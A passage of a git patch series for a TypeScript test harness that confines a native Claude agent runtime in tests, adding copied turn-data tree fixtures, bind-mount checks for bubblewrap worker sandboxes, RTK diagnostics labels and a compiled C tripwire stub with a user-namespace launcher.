guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),root=fs.mkdtempSync("/tmp/odysseus-qualification-tools-");fs.symlinkSync(process.execPath,join(root,"bun")); + try{ + const code=`import {installNetworkGuard} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))};installNetworkGuard(); + import {nativeClaudeBoundary} from ${JSON.stringify(guard)}; + process.env.PATH=${JSON.stringify(root)};process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + if(Bun.which("claude",{PATH:process.env.PATH})||Bun.which("bwrap",{PATH:process.env.PATH}))throw Error("FIXTURE_PATH_MUST_EXCLUDE_TOOLS"); + try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{} + if(process.env.PATH!==${JSON.stringify(root)})throw Error("PRODUCT_PATH_MUST_STAY_UNCHANGED");`; + const launcher=`const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(code)}],{env:process.env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; + const child=spawnGuardFixture([Bun.which("node")!,"-e",launcher]),[exit,err]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit,"POST_QUALIFICATION_AUTHORITY_NEGATIVE_STILL_REFUSES").not.toBe(0); + expect(err,"QUALIFICATION_REACHES_THE_UNCHANGED_AUTHORITY_CHECK").toContain('"reason":"scripted service authority was not registered"'); + expect(err).not.toContain('"reason":"OS namespace setup failed"'); + }finally{fs.rmSync(root,{recursive:true,force:true});} +}); From a9031ac2c36bd20570eda8321c9bd63261922aee Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 09:22:12 +0000 Subject: [PATCH 098/187] fix(test): preserve unknown launch identity and acquired fixture inputs --- .../tests/helpers/fixture-native-startup.ts | 7 +- .../tests/helpers/fixture-turn-data-tree.ts | 19 ++ scripts/native-rtk-diagnostics.ts | 9 +- scripts/test-native-guard.ts | 166 +++++++++++++++--- tests/fixtures/autonomous-runtime-probe.ts | 2 +- tests/native-copied-turn-tree.test.ts | 38 ++++ tests/native-qualification-paths.test.ts | 11 ++ tests/native-rtk-adapter.test.ts | 4 +- tests/native-tripwire.test.ts | 42 ++++- 9 files changed, 264 insertions(+), 34 deletions(-) create mode 100644 packages/ui-server/tests/helpers/fixture-turn-data-tree.ts create mode 100644 tests/native-copied-turn-tree.test.ts diff --git a/packages/ui-server/tests/helpers/fixture-native-startup.ts b/packages/ui-server/tests/helpers/fixture-native-startup.ts index 5c1a5d59bc..105ada6d87 100644 --- a/packages/ui-server/tests/helpers/fixture-native-startup.ts +++ b/packages/ui-server/tests/helpers/fixture-native-startup.ts @@ -1,3 +1,4 @@ +import {observeCopiedFixtureTurnTrees} from "./fixture-turn-data-tree.js"; import {observePrivateIndexes} from "./fixture-private-index.js"; /** Policy unit fixtures replace only native acquisition; native runtime proof is separate. */ import { afterEach, beforeEach, spyOn } from "bun:test"; @@ -8,6 +9,7 @@ let references = 0; let acquisition: ReturnType> | undefined; let outputAcquisition: ReturnType> | undefined; +let releaseTreeObserver:undefined|(()=>void); let managed: ReturnType> | undefined; /** Views this stand-in acquired: copies, never a native checkpoint. */ const acquired = new WeakSet(); @@ -29,10 +31,11 @@ export function replaceNativeStartupAcquisitionForFixture(): () => void { // Another suite may restore every Bun spy while an app fixture is alive. // Each explicit acquisition re-establishes its test-only boundary. { + releaseTreeObserver?.();releaseTreeObserver=observeCopiedFixtureTurnTrees(isFixtureStartupView); outputAcquisition = spyOn(output, "prepareNativeWorkerOutput").mockImplementation(prepareFixtureNativeWorkerOutput); acquisition = spyOn(startup, "prepareNativeWorkerStartupView").mockImplementation(async (brain, _manager, signal) => { signal?.throwIfAborted(); - const view = createFixtureWorkerStartupView(brain); acquired.add(view); return view; + const view = createFixtureWorkerStartupView(brain); acquired.add(view);const cleanup=view.cleanup;view.cleanup=()=>{acquired.delete(view);return cleanup();};return view; }); // A copied fixture view stands in for a manager-acquired one at turn // admission's refusal only (#3314); everything else still sees it as @@ -40,5 +43,5 @@ export function replaceNativeStartupAcquisitionForFixture(): () => void { managed = spyOn(startup, "assertManagedTurnStartupView").mockImplementation(() => {}); } let closed = false; - return () => { if (closed) return; closed = true; releaseIndexes(); if (--references === 0) { acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; + return () => { if (closed) return; closed = true; releaseIndexes(); if (--references === 0) { releaseTreeObserver?.();releaseTreeObserver=undefined;acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; } diff --git a/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts b/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts new file mode 100644 index 0000000000..9baddf40ed --- /dev/null +++ b/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts @@ -0,0 +1,19 @@ +/** Observe the real copied-tree acquisition, retaining its original result and close. */ +import {spyOn} from "bun:test"; +import * as trees from "../../src/brain/turn-data-tree.js"; +import {nativeFixtureCopiedTurnTree} from "../../../../scripts/test-native-guard"; + +export function observeCopiedFixtureTurnTrees(liveView:(view:unknown)=>boolean):()=>void { + const acquire=trees.createTurnDataTree; + const observer=spyOn(trees,"createTurnDataTree").mockImplementation(async options=>{ + const result=await acquire(options); + if(!result.mount||!liveView(options.view))return result; + let release:()=>void; + try{release=nativeFixtureCopiedTurnTree(options.brainPath,options.view,result.mount,()=>liveView(options.view),false);} + catch(error){await result.close();throw error;} + const close=result.close;let closed=false; + result.close=async()=>{if(closed)return close();closed=true;release();return close();}; + return result; + }); + return ()=>observer.mockRestore(); +} diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts index 65f1254ee5..57b6889a47 100644 --- a/scripts/native-rtk-diagnostics.ts +++ b/scripts/native-rtk-diagnostics.ts @@ -26,8 +26,15 @@ export function nativeRtkUnavailableLabels(error:unknown):Record[key,["ok","ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause[key as "exeReadlink"|"exeStat"]))?String(cause[key as "exeReadlink"|"exeStat"]):"unknown"]))}:{}; return {...processLabels,source:["canonicalize-selected","read-proc-exe"].includes(String(cause?.source))?String(cause?.source):"unknown",errno:["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause?.errno))?String(cause?.errno):"unknown"}; } +export function nativeRtkCandidateLabels(error:unknown):{candidateCount:number;candidates:{depth:number;parentRole:string;state:string}[]}|undefined { + if(!(error instanceof Error)||!["native fixture RTK payload missing","native fixture RTK payload ambiguous"].includes(error.message))return; + const cause=error.cause as {candidateCount?:unknown;candidates?:unknown}|undefined; + if(!Number.isInteger(cause?.candidateCount)||Number(cause?.candidateCount)<0||Number(cause?.candidateCount)>512||!Array.isArray(cause?.candidates))return; + const candidates=cause.candidates.slice(0,512).map((value:any)=>({depth:Number.isInteger(value?.depth)&&value.depth>=0&&value.depth<=512?value.depth:0,parentRole:["launch-root","descendant","none"].includes(value?.parentRole)?value.parentRole:"unknown",state:["running","sleeping","disk-sleep","zombie","stopped","tracing-stop","dead","idle","missing"].includes(value?.state)?value.state:"unknown"})); + return {candidateCount:Number(cause.candidateCount),candidates}; +} export function diagnoseNativeFixtureRtk(register:()=>void):void { - try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} + try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkCandidateLabels(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} } /** Read-only fixture evidence; these observations never authorize a rewrite. */ diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 459e15442d..db93317833 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -9,7 +9,7 @@ import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; import { tmpdir } from "node:os"; -import { basename, dirname, join, resolve } from "node:path"; +import { basename, dirname, isAbsolute, join, resolve } from "node:path"; import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); @@ -18,7 +18,7 @@ const GUARD_TMPDIR = tmpdir(); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); const metadataWhich = Bun.which.bind(Bun); -const GUARD_TOOL_PATH = process.env.PATH ?? "/usr/bin:/bin"; +const GUARD_TOOL_PATH = [process.env.PATH,"/usr/bin","/bin"].filter(Boolean).join(":"); // Distribution-owned, read-only runtime bytes; never service/cache storage. const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; @@ -132,7 +132,7 @@ function resolveExecutable(command: string, options: SpawnContext): string { const candidate = command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command); // Inspect the accessible path first: realpath of an anonymous /proc fd can // return pipe:[N] or socket:[N], which is not itself a filesystem path. - if (!statSync(candidate).isFile()) throw new Error("not a regular executable candidate"); + if (!statSync(candidate).isFile()) throw Object.assign(new Error("not a regular executable candidate"),{code:"NOT_REGULAR_FILE"}); return realpathSync(candidate); } @@ -146,7 +146,11 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o if (discoveryFailed) refuse("installed SDK runtime discovery failed"); for (const value of nativeExecutableCandidates(command, args)) { let path: string; - try { path = resolveExecutable(value, options); } catch { continue; } + try { path = resolveExecutable(value, options); } catch(error) { + if(["ENOENT","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; + refuse("native executable metadata is unavailable"); + } + if(!isAbsolute(path))continue; if (installedRuntimes.some(runtime => runtime.path === path)) return true; // Size eliminates ordinary fixture scripts and interpreters before hashing. try { @@ -155,7 +159,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o const size = metadata.size; const candidates = installedRuntimes.filter(runtime => runtime.size === size); if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; - } catch { refuse("native executable metadata is unavailable"); } + } catch(error) { if((error as NodeJS.ErrnoException).code==="ENOENT")continue;refuse("native executable metadata is unavailable"); } } return false; } @@ -809,6 +813,37 @@ function privateIndexBind(flag:string,source:string,target:string,scope:Scripted return role; } +interface CopiedFixtureTurnTree {brain:string;view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView;root:string;index:string;scope:ScriptedAuthority;live:()=>boolean;active:boolean;stamps:ReadonlyMap} +const copiedFixtureTurnTrees=new Set(); +/** Explicit declaration of the real copied fixture's returned roots, never a managed-tree exemption. */ +export function nativeFixtureCopiedTurnTree(brain:string,view:CopiedFixtureTurnTree["view"],tree:{root:string;index:string},live:()=>boolean,required=true):()=>void { + const scope=scriptedRoute.getStore();if(!scope&&!required)return ()=>{}; + if(!scope)throw Error("copied fixture turn tree scope is unavailable"); + const stamp=(path:string)=>{const info=lstatSync(path,{bigint:true});return {dev:info.dev,ino:info.ino};}; + const role:CopiedFixtureTurnTree={brain,view,root:tree.root,index:tree.index,scope,live,active:true,stamps:new Map([brain,view.root,tree.root,tree.index].map(path=>[path,stamp(path)]))}; + validateCopiedFixtureTurnTree(role,scope);copiedFixtureTurnTrees.add(role); + return ()=>{role.active=false;}; +} +function validateCopiedFixtureTurnTree(role:CopiedFixtureTurnTree,scope:ScriptedAuthority):void { + const identity=nativeKernelIdentity(),{brain,view,root,index}=role; + if(!role.active||role.scope!==scope||!role.live()||view.brain!==brain||!scope.fixtureRoots.includes(brain)||dirname(root)!==realpathSync(tmpdir())||!/^brain-turn-data-[A-Za-z0-9]+$/.test(basename(root))||dirname(index)!==realpathSync(tmpdir())||!/^brain-private-index-[A-Za-z0-9]+$/.test(basename(index))||root===index)throw Error("copied fixture turn tree declaration unavailable"); + for(const path of [brain,view.root,root,index]){ + const info=lstatSync(path,{bigint:true}),stamp=role.stamps.get(path); + if(resolve(path)!==path||realpathSync(path)!==path||!info.isDirectory()||info.uid!==BigInt(identity.uid)||info.gid!==BigInt(identity.gid)||!stamp||info.dev!==stamp.dev||info.ino!==stamp.ino)throw Error("copied fixture turn tree declaration unavailable"); + } + scope.revalidate?.(); +} +function copiedFixtureTurnTreeBind(flag:string,source:string,target:string,scope:ScriptedAuthority):CopiedFixtureTurnTree|undefined { + const role=[...copiedFixtureTurnTrees].find(role=>role.root===source||role.index===source);if(!role)return; + if(source===role.index&&target===join(role.brain,".brain-index"))return; + try{ + validateCopiedFixtureTurnTree(role,scope); + const {WORKER_DATA_ROOT}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-sandbox.ts"); + if(flag!=="--ro-bind"||target!==(source===role.root?WORKER_DATA_ROOT:join(WORKER_DATA_ROOT,".brain-index")))throw Error("copied fixture turn tree bind differs"); + }catch{refuse("copied fixture turn tree declaration unavailable",{sourceKind:"fixture-turn-data",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} + return role; +} + /** Snapshot only individually declared files; siblings and directories never enter. */ export function nativeFixtureFileMounts(directory:string):string[] { const mounts:string[]=[];let index=0; @@ -966,11 +1001,12 @@ function admittedRelay(argv: string[], socket: string): { origin: string; path: function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = [],role?:"product-checkpoint"|"product-keeper"|"product-scratch"): Record { const fixture=fixtureRoots.find(root=>within(root,resolve(input))); const privateIndex=/^brain-private-index-[A-Za-z0-9]+$/.test(basename(input))&&basename(destination)===".brain-index"; + const copiedInput=/^brain-turn-data-[A-Za-z0-9]+$/.test(basename(input))||[...copiedFixtureTurnTrees].some(role=>role.root===input||role.index===input); const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); const workspaceTarget=within(ROOT,resolve(destination)); return { mount:index, - ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(privateIndex?"product-private-index":known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), + ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(copiedInput?"fixture-turn-data":privateIndex?"product-private-index":known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), ...(known?{systemRoot:input}:fixture?{fixtureRoot:fixtureRoots.indexOf(fixture),relativePath:resolve(input).slice(fixture.length).replace(/^\//,"")}:{}), targetKind:destination.startsWith("/etc/")?"isolated-config":destination.startsWith("/tmp/")?"fixture-temporary":"runtime-or-fixture", metadataError:(error as NodeJS.ErrnoException)?.code??"UNKNOWN" }; @@ -1109,10 +1145,11 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); const expected=[...new Set(record.expected.map(path=>{try{return realpathSync(path);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"canonicalize-selected",errno:(error as NodeJS.ErrnoException).code}});}}))]; if(expected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); + const positions=new Map([[worker.pid,{depth:0,parentRole:"none"}]]); const owned=new Map(),pending=[worker.pid]; while(pending.length){ const pid=pending.pop()!;if(owned.has(pid))continue;if(owned.size>=512)throw Error("native fixture RTK ancestry bound"); - try{owned.set(pid,processStart(pid));const children=readFileSync(`/proc/${pid}/task/${pid}/children`,"utf8").trim();if(children)pending.push(...children.split(/\s+/).map(Number));}catch(error){if(pid===worker.pid)throw error;} + try{owned.set(pid,processStart(pid));const children=readFileSync(`/proc/${pid}/task/${pid}/children`,"utf8").trim();if(children)for(const child of children.split(/\s+/).map(Number)){if(!positions.has(child))positions.set(child,{depth:Math.min(512,(positions.get(pid)?.depth??0)+1),parentRole:pid===worker.pid?"launch-root":"descendant"});pending.push(child);}}catch(error){if(pid===worker.pid)throw error;} } const selected:number[]=[]; for(const [pid,auditedStart] of record.liveExecs()){ @@ -1130,7 +1167,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; selected.push(pid); } - if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous"); + if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous",{cause:{candidateCount:selected.length,candidates:selected.map(pid=>({...positions.get(pid)!,state:nativeRtkProcessEvidence(pid).processState}))}}); if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); if(nativeRtkExitedState(nativeRtkCandidateState(selected[0]!,owned.get(selected[0]!)!)))throw Error("native fixture RTK payload missing"); const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); @@ -1383,7 +1420,7 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); const copy=join(staging,String(staged++));writeFileSync(copy,explicit.bytes,{mode:explicit.mode});chmodSync(copy,explicit.mode); argv[i]="--ro-bind";argv[i+1]=copy; - } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!privateIndexBind(argv[i]!,source,argv[i+2]!,route)&&!workerSourceAllowed(source, route, guardRoot)) { + } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!copiedFixtureTurnTreeBind(argv[i]!,source,argv[i+2]!,route)&&!privateIndexBind(argv[i]!,source,argv[i+2]!,route)&&!workerSourceAllowed(source, route, guardRoot)) { const info=lstatSync(source); // Replace a socket-only relay directory with exact socket binds. A later // file in the original directory never enters the native view. @@ -1409,8 +1446,10 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth if(!["--bind","--ro-bind","--dev-bind","--bind-try","--ro-bind-try","--dev-bind-try"].includes(mounts[i]!))continue; let source:string;try{source=inspectedWorkerSource(mounts[i+1]!,keeper);}catch{refuse("worker bind source is unavailable");} const checkpointRoot=checkpointBind(mounts[i]!,mounts[i+1]!,mounts[i+2]!,checkpoint)?checkpoint!.root:undefined; - const privateIndexRoot=privateIndexBind(mounts[i]!,source,mounts[i+2]!,route)?.root; - if(!checkpointRoot&&!privateIndexRoot&&!workerSourceAllowed(source,route,guardRoot)) { + const copiedRole=copiedFixtureTurnTreeBind(mounts[i]!,source,mounts[i+2]!,route); + const copiedRoot=copiedRole?(source===copiedRole.root?copiedRole.root:copiedRole.index):undefined; + const privateIndexRoot=copiedRoot?undefined:privateIndexBind(mounts[i]!,source,mounts[i+2]!,route)?.root; + if(!checkpointRoot&&!privateIndexRoot&&!copiedRoot&&!workerSourceAllowed(source,route,guardRoot)) { const info=lstatSync(source); if(!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice()))refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,mounts[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); } @@ -1419,7 +1458,7 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth const visit=(path:string):void=>{ inspected=path; const real=realpathSync(path),info=lstatSync(real); - if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); }; @@ -1581,7 +1620,7 @@ export function nativeWorkerClassification(argv:readonly string[],context:SpawnC export function nativeExistingRuntimeMaskPaths(candidates:readonly string[]):string[]{ const paths=new Set(); for(const path of candidates){ - try{const canonical=realpathSync(path);statSync(canonical);paths.add(path);paths.add(canonical);} + try{const canonical=realpathSync(path);if(!isAbsolute(canonical))continue;statSync(canonical);paths.add(path);paths.add(canonical);} catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} } return [...paths].sort(); @@ -1626,31 +1665,101 @@ function unknownBwrapPayload(command:readonly string[],at:number):number { } return refuse("restriction cannot be enforced"); } +const TRIPWIRE_SETUP_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"restriction cannot be enforced"}\n'; const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; +interface TripwireRuntime {directory:string;stub:string;eventTarget:string;launcher:string} +let tripwireRuntime:TripwireRuntime|undefined; +const tripwireFinalizers=new Set<()=>void>(); +function prepareTripwireRuntime():TripwireRuntime { + if(tripwireRuntime)return tripwireRuntime; + const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-mask-runtime-")),stub=join(directory,"tripwire"),eventTarget=join(directory,"event"),launcher=join(directory,"namespace"); + chmodSync(directory,0o700);writeFileSync(eventTarget,"",{mode:0o600}); + const stubSource=`#define _GNU_SOURCE\n#include \n#include \nint main(void){const char record[]=${JSON.stringify(TRIPWIRE_RECORD)};int fd=open(${JSON.stringify(eventTarget)},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; + const launcherSource=String.raw`#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +static int evidence=-1; +static const char *phase="arguments"; +static int fail(void){const char record[]="{\"kind\":\"native-offline-boundary\",\"success\":false,\"nativeLaunched\":false,\"reason\":\"restriction cannot be enforced\"}\n";if(evidence>=0)(void)write(evidence,record,sizeof(record)-1);fprintf(stderr,"Offline native restriction cannot be enforced phase=%s errno=%d\n",phase,errno);return 125;} +static int mapping(const char *path,const char *text){int fd=open(path,O_WRONLY|O_CLOEXEC);if(fd<0)return -1;size_t n=strlen(text);int ok=write(fd,text,n)==(ssize_t)n;close(fd);return ok?0:-1;} +static int readonly_bind(const char *source,const char *target){struct statvfs st;if(statvfs(target,&st))return -1;unsigned long flags=MS_BIND|MS_REMOUNT|MS_RDONLY;if(st.f_flag&ST_NOSUID)flags|=MS_NOSUID;if(st.f_flag&ST_NODEV)flags|=MS_NODEV;if(st.f_flag&ST_NOEXEC)flags|=MS_NOEXEC;return mount(source,target,0,MS_BIND,0)||mount(0,target,0,flags,0)?-1:0;} +int main(int argc,char **argv){ + if(argc<8)return 125; + char *end=0;long count=strtol(argv[5],&end,10);if(!end||*end||count<0||count>1024||argc<8+count||strcmp(argv[6+count],"--"))return 125; + evidence=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(evidence<0)return fail(); + uid_t uid=geteuid();gid_t gid=getegid();pid_t owner=getpid();int request[2],answer[2]; + if(pipe2(request,O_CLOEXEC)||pipe2(answer,O_CLOEXEC))return fail(); + pid_t mapper=fork();if(mapper<0)return fail(); + if(mapper==0){ + close(request[1]);close(answer[0]);char go;int result[2]={0,0};char path[128],map[128]; + if(read(request[0],&go,1)!=1)_exit(1);close(request[0]); + snprintf(path,sizeof(path),"/proc/%ld/setgroups",(long)owner);if(mapping(path,"deny")&&errno!=ENOENT)result[0]=-1; + if(!result[0]){snprintf(path,sizeof(path),"/proc/%ld/uid_map",(long)owner);snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)uid,(unsigned long)uid);result[0]=mapping(path,map);} + if(!result[0]){snprintf(path,sizeof(path),"/proc/%ld/gid_map",(long)owner);snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)gid,(unsigned long)gid);result[0]=mapping(path,map);} + result[1]=errno;(void)write(answer[1],result,sizeof(result));close(answer[1]);_exit(result[0]?1:0); + } + close(request[0]);close(answer[1]); + phase="userns";if(unshare(CLONE_NEWUSER)||prctl(PR_SET_DUMPABLE,1,0,0,0)){close(request[1]);close(answer[0]);waitpid(mapper,0,0);return fail();} + phase="identity-map";int result[2],status=0;char go='M';int sent=write(request[1],&go,1)==1;close(request[1]);ssize_t received=read(answer[0],result,sizeof(result));close(answer[0]);waitpid(mapper,&status,0); + if(!sent||received!=sizeof(result)||status||result[0]){errno=received==sizeof(result)?result[1]:EPERM;return fail();} + phase="mountns";if(prctl(PR_SET_DUMPABLE,1,0,0,0)||unshare(CLONE_NEWNS))return fail(); + phase="mount-private";if(mount(0,"/",0,MS_REC|MS_PRIVATE,0))return fail(); + char event[4096];if(snprintf(event,sizeof(event),"%s/event",argv[3])>=(int)sizeof(event))return fail(); + phase="guard-files";if(readonly_bind(argv[4],argv[4])||readonly_bind(argv[3],argv[3])||mount(argv[2],event,0,MS_BIND,0)||mount(0,event,0,MS_BIND|MS_REMOUNT|MS_NOSUID|MS_NODEV,0))return fail(); + phase="runtime-masks";for(long i=0;i{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); + return tripwireRuntime; + }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} +} + /** Unknown code receives neither native receipt descriptors nor provider authority. */ export function nativeUnknownBoundary(command:readonly string[],options:SpawnContext={},workerUid?:number) { // The loader runs before bwrap can install any bind. Preserve the payload's // environment, but refuse a bootstrap whose loader could replace our tools. if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:LD_|DYLD_)/.test(key)))refuse("restriction cannot be enforced"); - const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),stub=join(directory,"tripwire"),event=join(directory,"event"),log=join(directory,"exec.log"); + // A missing entrypoint cannot run: retain the ordinary spawn ENOENT instead + // of turning a deliberate missing-driver fixture into an isolation refusal. + resolveExecutable(command[0]!,options); + const shared=prepareTripwireRuntime(),stub=shared.stub,directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),event=join(directory,"event"),log=join(directory,"exec.log"); writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); let complete=false,failed=false,auditUnavailable=false,timer:ReturnType|undefined; const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; const cleanup=()=>{clearInterval(timer);rmSync(directory,{recursive:true,force:true});}; try{ - const record=JSON.stringify(TRIPWIRE_RECORD),path=JSON.stringify(event); - const source=`#include \n#include \nint main(void){const char record[]=${record};int fd=open(${path},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; - const cc=metadataSpawnSync(["cc","-static","-Os","-std=c11","-D_GNU_SOURCE","-x","c","-","-o",stub],{stdin:Buffer.from(source),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin",LANG:"C"},timeout:30000}); - if(cc.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(cc.stderr))); - chmodSync(stub,0o555); - const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap"),strace=metadataWhich("strace"); + const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); - if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)))refuse("restriction cannot be enforced"); - const mounts=["--ro-bind",directory,directory,"--bind",event,event,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; - const probe=metadataSpawnSync([bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); + 